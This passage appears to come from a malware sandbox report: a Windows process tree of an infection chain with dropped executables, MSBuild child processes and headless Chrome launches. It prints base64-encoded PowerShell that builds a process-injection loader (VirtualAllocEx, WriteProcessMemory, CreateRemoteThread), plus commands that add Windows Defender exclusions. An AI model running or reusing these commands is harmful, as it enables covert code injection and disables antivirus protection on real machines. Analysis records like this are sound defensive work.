QBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                  PID:5892
                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                    PID:1464
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                    C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADEANAA2ADQAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADYARgA3ADIALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                      PID:3948
                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                        PID:6192
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                        C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADYAMQA5ADIAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADgANwA2ADAALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                          PID:6332
                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                            PID:6488
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 2612
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                            PID:6956
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\10117810101\wJc43xr.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\10117810101\wJc43xr.exe"
                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                            PID:2264
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\b5EcA8LP32.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\b5EcA8LP32.exe"
                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                PID:4512
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\ICue6ao8q5.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\ICue6ao8q5.exe"
                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                  PID:1968
                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                      PID:1316
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                        PID:2604
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                        PID:5212
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10117820101\WtUFZzT.exe
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10117820101\WtUFZzT.exe"
                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                    PID:1012
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\10117830101\0m410bx.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\10117830101\0m410bx.exe"
                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                      PID:5940
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\10117840101\arpQ5ZH.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\10117840101\arpQ5ZH.exe"
                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                        PID:6072
                                                                                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                            PID:2500
                                                                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                              PID:2428
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\10117850101\QvG0bbo.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\10117850101\QvG0bbo.exe"
                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                              PID:6012
                                                                                                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                  PID:5356
                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\4f5ir1q5.ym5"
                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                      PID:4964
                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
